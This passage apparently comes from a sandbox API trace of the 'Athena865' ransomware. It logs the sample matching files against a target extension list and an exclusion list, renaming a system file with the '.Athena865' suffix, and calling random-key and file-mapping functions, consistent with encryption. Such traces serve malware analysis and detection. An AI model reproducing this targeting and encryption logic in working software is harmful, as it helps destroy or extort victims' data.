lstrlenW (lpString="cma") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="cma") returned 1 [0119.328] lstrlenW (lpString="cpd") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="cpd") returned 1 [0119.328] lstrlenW (lpString="dacpac") returned 6 [0119.328] lstrcmpiW (lpString1="lx.rll", lpString2="dacpac") returned 1 [0119.328] lstrlenW (lpString="dad") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="dad") returned 1 [0119.328] lstrlenW (lpString="dadiagrams") returned 10 [0119.328] lstrcmpiW (lpString1="qlxmlx.rll", lpString2="dadiagrams") returned 1 [0119.328] lstrlenW (lpString="daschema") returned 8 [0119.328] lstrcmpiW (lpString1="xmlx.rll", lpString2="daschema") returned 1 [0119.328] lstrlenW (lpString="db-journal") returned 10 [0119.328] lstrcmpiW (lpString1="qlxmlx.rll", lpString2="db-journal") returned 1 [0119.328] lstrlenW (lpString="db-shm") returned 6 [0119.328] lstrcmpiW (lpString1="lx.rll", lpString2="db-shm") returned 1 [0119.328] lstrlenW (lpString="db-wal") returned 6 [0119.328] lstrcmpiW (lpString1="lx.rll", lpString2="db-wal") returned 1 [0119.328] lstrlenW (lpString="dbc") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="dbc") returned 1 [0119.328] lstrlenW (lpString="dbs") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="dbs") returned 1 [0119.328] lstrlenW (lpString="dbt") returned 3 [0119.328] lstrcmpiW (lpString1="rll", lpString2="dbt") returned 1 [0119.328] lstrlenW (lpString="dbv") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dbv") returned 1 [0119.329] lstrlenW (lpString="dbx") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dbx") returned 1 [0119.329] lstrlenW (lpString="dcb") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dcb") returned 1 [0119.329] lstrlenW (lpString="dct") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dct") returned 1 [0119.329] lstrlenW (lpString="dcx") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dcx") returned 1 [0119.329] lstrlenW (lpString="ddl") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="ddl") returned 1 [0119.329] lstrlenW (lpString="dlis") returned 4 [0119.329] lstrcmpiW (lpString1=".rll", lpString2="dlis") returned -1 [0119.329] lstrlenW (lpString="dp1") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dp1") returned 1 [0119.329] lstrlenW (lpString="dqy") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dqy") returned 1 [0119.329] lstrlenW (lpString="dsk") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dsk") returned 1 [0119.329] lstrlenW (lpString="dsn") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dsn") returned 1 [0119.329] lstrlenW (lpString="dtsx") returned 4 [0119.329] lstrcmpiW (lpString1=".rll", lpString2="dtsx") returned -1 [0119.329] lstrlenW (lpString="dxl") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="dxl") returned 1 [0119.329] lstrlenW (lpString="eco") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="eco") returned 1 [0119.329] lstrlenW (lpString="ecx") returned 3 [0119.329] lstrcmpiW (lpString1="rll", lpString2="ecx") returned 1 [0119.329] lstrlenW (lpString="edb") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="edb") returned 1 [0119.330] lstrlenW (lpString="epim") returned 4 [0119.330] lstrcmpiW (lpString1=".rll", lpString2="epim") returned -1 [0119.330] lstrlenW (lpString="fcd") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fcd") returned 1 [0119.330] lstrlenW (lpString="fdb") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fdb") returned 1 [0119.330] lstrlenW (lpString="fic") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fic") returned 1 [0119.330] lstrlenW (lpString="flexolibrary") returned 12 [0119.330] lstrlenW (lpString="fm5") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fm5") returned 1 [0119.330] lstrlenW (lpString="fmp") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fmp") returned 1 [0119.330] lstrlenW (lpString="fmp12") returned 5 [0119.330] lstrcmpiW (lpString1="x.rll", lpString2="fmp12") returned 1 [0119.330] lstrlenW (lpString="fmpsl") returned 5 [0119.330] lstrcmpiW (lpString1="x.rll", lpString2="fmpsl") returned 1 [0119.330] lstrlenW (lpString="fol") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fol") returned 1 [0119.330] lstrlenW (lpString="fp3") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fp3") returned 1 [0119.330] lstrlenW (lpString="fp4") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fp4") returned 1 [0119.330] lstrlenW (lpString="fp5") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fp5") returned 1 [0119.330] lstrlenW (lpString="fp7") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fp7") returned 1 [0119.330] lstrlenW (lpString="fpt") returned 3 [0119.330] lstrcmpiW (lpString1="rll", lpString2="fpt") returned 1 [0119.331] lstrlenW (lpString="frm") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="frm") returned 1 [0119.331] lstrlenW (lpString="gdb") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="gdb") returned 1 [0119.331] lstrlenW (lpString="gdb") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="gdb") returned 1 [0119.331] lstrlenW (lpString="grdb") returned 4 [0119.331] lstrcmpiW (lpString1=".rll", lpString2="grdb") returned -1 [0119.331] lstrlenW (lpString="gwi") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="gwi") returned 1 [0119.331] lstrlenW (lpString="hdb") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="hdb") returned 1 [0119.331] lstrlenW (lpString="his") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="his") returned 1 [0119.331] lstrlenW (lpString="ib") returned 2 [0119.331] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0119.331] lstrlenW (lpString="idb") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="idb") returned 1 [0119.331] lstrlenW (lpString="ihx") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="ihx") returned 1 [0119.331] lstrlenW (lpString="itdb") returned 4 [0119.331] lstrcmpiW (lpString1=".rll", lpString2="itdb") returned -1 [0119.331] lstrlenW (lpString="itw") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="itw") returned 1 [0119.331] lstrlenW (lpString="jet") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="jet") returned 1 [0119.331] lstrlenW (lpString="jtx") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="jtx") returned 1 [0119.331] lstrlenW (lpString="kdb") returned 3 [0119.331] lstrcmpiW (lpString1="rll", lpString2="kdb") returned 1 [0119.332] lstrlenW (lpString="kexi") returned 4 [0119.332] lstrcmpiW (lpString1=".rll", lpString2="kexi") returned -1 [0119.332] lstrlenW (lpString="kexic") returned 5 [0119.332] lstrcmpiW (lpString1="x.rll", lpString2="kexic") returned 1 [0119.332] lstrlenW (lpString="kexis") returned 5 [0119.332] lstrcmpiW (lpString1="x.rll", lpString2="kexis") returned 1 [0119.332] lstrlenW (lpString="lgc") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="lgc") returned 1 [0119.332] lstrlenW (lpString="lwx") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="lwx") returned 1 [0119.332] lstrlenW (lpString="maf") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="maf") returned 1 [0119.332] lstrlenW (lpString="maq") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="maq") returned 1 [0119.332] lstrlenW (lpString="mar") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="mar") returned 1 [0119.332] lstrlenW (lpString="marshal") returned 7 [0119.332] lstrcmpiW (lpString1="mlx.rll", lpString2="marshal") returned 1 [0119.332] lstrlenW (lpString="mas") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="mas") returned 1 [0119.332] lstrlenW (lpString="mav") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="mav") returned 1 [0119.332] lstrlenW (lpString="maw") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="maw") returned 1 [0119.332] lstrlenW (lpString="mdbhtml") returned 7 [0119.332] lstrcmpiW (lpString1="mlx.rll", lpString2="mdbhtml") returned 1 [0119.332] lstrlenW (lpString="mdn") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="mdn") returned 1 [0119.332] lstrlenW (lpString="mdt") returned 3 [0119.332] lstrcmpiW (lpString1="rll", lpString2="mdt") returned 1 [0119.333] lstrlenW (lpString="mfd") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="mfd") returned 1 [0119.333] lstrlenW (lpString="mpd") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="mpd") returned 1 [0119.333] lstrlenW (lpString="mrg") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="mrg") returned 1 [0119.333] lstrlenW (lpString="mud") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="mud") returned 1 [0119.333] lstrlenW (lpString="mwb") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="mwb") returned 1 [0119.333] lstrlenW (lpString="myd") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="myd") returned 1 [0119.333] lstrlenW (lpString="ndf") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="ndf") returned 1 [0119.333] lstrlenW (lpString="nnt") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="nnt") returned 1 [0119.333] lstrlenW (lpString="nrmlib") returned 6 [0119.333] lstrcmpiW (lpString1="lx.rll", lpString2="nrmlib") returned -1 [0119.333] lstrlenW (lpString="ns2") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="ns2") returned 1 [0119.333] lstrlenW (lpString="ns3") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="ns3") returned 1 [0119.333] lstrlenW (lpString="ns4") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="ns4") returned 1 [0119.333] lstrlenW (lpString="nsf") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="nsf") returned 1 [0119.333] lstrlenW (lpString="nv") returned 2 [0119.333] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0119.333] lstrlenW (lpString="nv2") returned 3 [0119.333] lstrcmpiW (lpString1="rll", lpString2="nv2") returned 1 [0119.333] lstrlenW (lpString="nwdb") returned 4 [0119.334] lstrcmpiW (lpString1=".rll", lpString2="nwdb") returned -1 [0119.334] lstrlenW (lpString="nyf") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="nyf") returned 1 [0119.334] lstrlenW (lpString="odb") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="odb") returned 1 [0119.334] lstrlenW (lpString="odb") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="odb") returned 1 [0119.334] lstrlenW (lpString="oqy") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="oqy") returned 1 [0119.334] lstrlenW (lpString="ora") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="ora") returned 1 [0119.334] lstrlenW (lpString="orx") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="orx") returned 1 [0119.334] lstrlenW (lpString="owc") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="owc") returned 1 [0119.334] lstrlenW (lpString="p96") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="p96") returned 1 [0119.334] lstrlenW (lpString="p97") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="p97") returned 1 [0119.334] lstrlenW (lpString="pan") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="pan") returned 1 [0119.334] lstrlenW (lpString="pdb") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="pdb") returned 1 [0119.334] lstrlenW (lpString="pdm") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="pdm") returned 1 [0119.334] lstrlenW (lpString="pnz") returned 3 [0119.334] lstrcmpiW (lpString1="rll", lpString2="pnz") returned 1 [0119.334] lstrlenW (lpString="qry") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="qry") returned 1 [0119.335] lstrlenW (lpString="qvd") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="qvd") returned 1 [0119.335] lstrlenW (lpString="rbf") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="rbf") returned 1 [0119.335] lstrlenW (lpString="rctd") returned 4 [0119.335] lstrcmpiW (lpString1=".rll", lpString2="rctd") returned -1 [0119.335] lstrlenW (lpString="rod") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="rod") returned -1 [0119.335] lstrlenW (lpString="rodx") returned 4 [0119.335] lstrcmpiW (lpString1=".rll", lpString2="rodx") returned -1 [0119.335] lstrlenW (lpString="rpd") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="rpd") returned -1 [0119.335] lstrlenW (lpString="rsd") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="rsd") returned -1 [0119.335] lstrlenW (lpString="sas7bdat") returned 8 [0119.335] lstrcmpiW (lpString1="xmlx.rll", lpString2="sas7bdat") returned 1 [0119.335] lstrlenW (lpString="sbf") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="sbf") returned -1 [0119.335] lstrlenW (lpString="scx") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="scx") returned -1 [0119.335] lstrlenW (lpString="sdb") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="sdb") returned -1 [0119.335] lstrlenW (lpString="sdc") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="sdc") returned -1 [0119.335] lstrlenW (lpString="sdf") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="sdf") returned -1 [0119.335] lstrlenW (lpString="sis") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="sis") returned -1 [0119.335] lstrlenW (lpString="spq") returned 3 [0119.335] lstrcmpiW (lpString1="rll", lpString2="spq") returned -1 [0119.335] lstrlenW (lpString="te") returned 2 [0119.336] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0119.336] lstrlenW (lpString="teacher") returned 7 [0119.336] lstrcmpiW (lpString1="mlx.rll", lpString2="teacher") returned -1 [0119.336] lstrlenW (lpString="tmd") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="tmd") returned -1 [0119.336] lstrlenW (lpString="tps") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="tps") returned -1 [0119.336] lstrlenW (lpString="trc") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="trc") returned -1 [0119.336] lstrlenW (lpString="trc") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="trc") returned -1 [0119.336] lstrlenW (lpString="trm") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="trm") returned -1 [0119.336] lstrlenW (lpString="udb") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="udb") returned -1 [0119.336] lstrlenW (lpString="udl") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="udl") returned -1 [0119.336] lstrlenW (lpString="usr") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="usr") returned -1 [0119.336] lstrlenW (lpString="v12") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="v12") returned -1 [0119.336] lstrlenW (lpString="vis") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="vis") returned -1 [0119.336] lstrlenW (lpString="vpd") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="vpd") returned -1 [0119.336] lstrlenW (lpString="vvv") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="vvv") returned -1 [0119.336] lstrlenW (lpString="wdb") returned 3 [0119.336] lstrcmpiW (lpString1="rll", lpString2="wdb") returned -1 [0119.336] lstrlenW (lpString="wmdb") returned 4 [0119.336] lstrcmpiW (lpString1=".rll", lpString2="wmdb") returned -1 [0119.336] lstrlenW (lpString="wrk") returned 3 [0119.337] lstrcmpiW (lpString1="rll", lpString2="wrk") returned -1 [0119.337] lstrlenW (lpString="xdb") returned 3 [0119.337] lstrcmpiW (lpString1="rll", lpString2="xdb") returned -1 [0119.337] lstrlenW (lpString="xld") returned 3 [0119.337] lstrcmpiW (lpString1="rll", lpString2="xld") returned -1 [0119.337] lstrlenW (lpString="xmlff") returned 5 [0119.337] lstrcmpiW (lpString1="x.rll", lpString2="xmlff") returned -1 [0119.337] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.Athena865") returned 65 [0119.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.athena865"), dwFlags=0x1) returned 1 [0119.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.338] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0119.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.338] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.338] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.339] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.339] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.339] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0119.341] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0119.342] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.342] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.342] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.343] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.343] CloseHandle (hObject=0x154) returned 1 [0119.343] CloseHandle (hObject=0x17c) returned 1 [0119.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.344] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="..") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="windows") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="bootmgr") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="temp") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="pagefile.sys") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="boot") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ids.txt") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="ntuser.dat") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="perflogs") returned 1 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2="MSBuild") returned 1 [0119.344] lstrlenW (lpString="xmlrw.dll") returned 9 [0119.344] lstrcpyW (in: lpString1=0x241e8a0, lpString2="xmlrw.dll" | out: lpString1="xmlrw.dll") returned="xmlrw.dll" [0119.344] lstrlenW (lpString="xmlrw.dll") returned 9 [0119.344] lstrlenW (lpString="Athena865") returned 9 [0119.344] lstrlenW (lpString=".dll") returned 4 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".dll") returned 1 [0119.344] lstrlenW (lpString=".lnk") returned 4 [0119.344] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".lnk") returned 1 [0119.345] lstrlenW (lpString=".ini") returned 4 [0119.345] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".ini") returned 1 [0119.345] lstrlenW (lpString=".sys") returned 4 [0119.345] lstrcmpiW (lpString1="xmlrw.dll", lpString2=".sys") returned 1 [0119.345] lstrlenW (lpString="xmlrw.dll") returned 9 [0119.345] lstrlenW (lpString="bak") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0119.345] lstrlenW (lpString="ba_") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0119.345] lstrlenW (lpString="dbb") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0119.345] lstrlenW (lpString="vmdk") returned 4 [0119.345] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0119.345] lstrlenW (lpString="rar") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0119.345] lstrlenW (lpString="zip") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0119.345] lstrlenW (lpString="tgz") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0119.345] lstrlenW (lpString="vbox") returned 4 [0119.345] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0119.345] lstrlenW (lpString="vdi") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0119.345] lstrlenW (lpString="vhd") returned 3 [0119.345] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0119.345] lstrlenW (lpString="vhdx") returned 4 [0119.345] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0119.345] lstrlenW (lpString="avhd") returned 4 [0119.345] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0119.345] lstrlenW (lpString="db") returned 2 [0119.345] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0119.346] lstrlenW (lpString="db2") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0119.346] lstrlenW (lpString="db3") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0119.346] lstrlenW (lpString="dbf") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0119.346] lstrlenW (lpString="mdf") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0119.346] lstrlenW (lpString="mdb") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0119.346] lstrlenW (lpString="sql") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0119.346] lstrlenW (lpString="sqlite") returned 6 [0119.346] lstrcmpiW (lpString1="rw.dll", lpString2="sqlite") returned -1 [0119.346] lstrlenW (lpString="sqlite3") returned 7 [0119.346] lstrcmpiW (lpString1="lrw.dll", lpString2="sqlite3") returned -1 [0119.346] lstrlenW (lpString="sqlitedb") returned 8 [0119.346] lstrcmpiW (lpString1="mlrw.dll", lpString2="sqlitedb") returned -1 [0119.346] lstrlenW (lpString="xml") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0119.346] lstrlenW (lpString="$er") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0119.346] lstrlenW (lpString="4dd") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0119.346] lstrlenW (lpString="4dl") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0119.346] lstrlenW (lpString="^^^") returned 3 [0119.346] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0119.346] lstrlenW (lpString="abs") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0119.347] lstrlenW (lpString="abx") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0119.347] lstrlenW (lpString="accdb") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accdb") returned 1 [0119.347] lstrlenW (lpString="accdc") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accdc") returned 1 [0119.347] lstrlenW (lpString="accde") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accde") returned 1 [0119.347] lstrlenW (lpString="accdr") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accdr") returned 1 [0119.347] lstrlenW (lpString="accdt") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accdt") returned 1 [0119.347] lstrlenW (lpString="accdw") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accdw") returned 1 [0119.347] lstrlenW (lpString="accft") returned 5 [0119.347] lstrcmpiW (lpString1="w.dll", lpString2="accft") returned 1 [0119.347] lstrlenW (lpString="adb") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.347] lstrlenW (lpString="adb") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0119.347] lstrlenW (lpString="ade") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0119.347] lstrlenW (lpString="adf") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0119.347] lstrlenW (lpString="adn") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0119.347] lstrlenW (lpString="adp") returned 3 [0119.347] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0119.347] lstrlenW (lpString="alf") returned 3 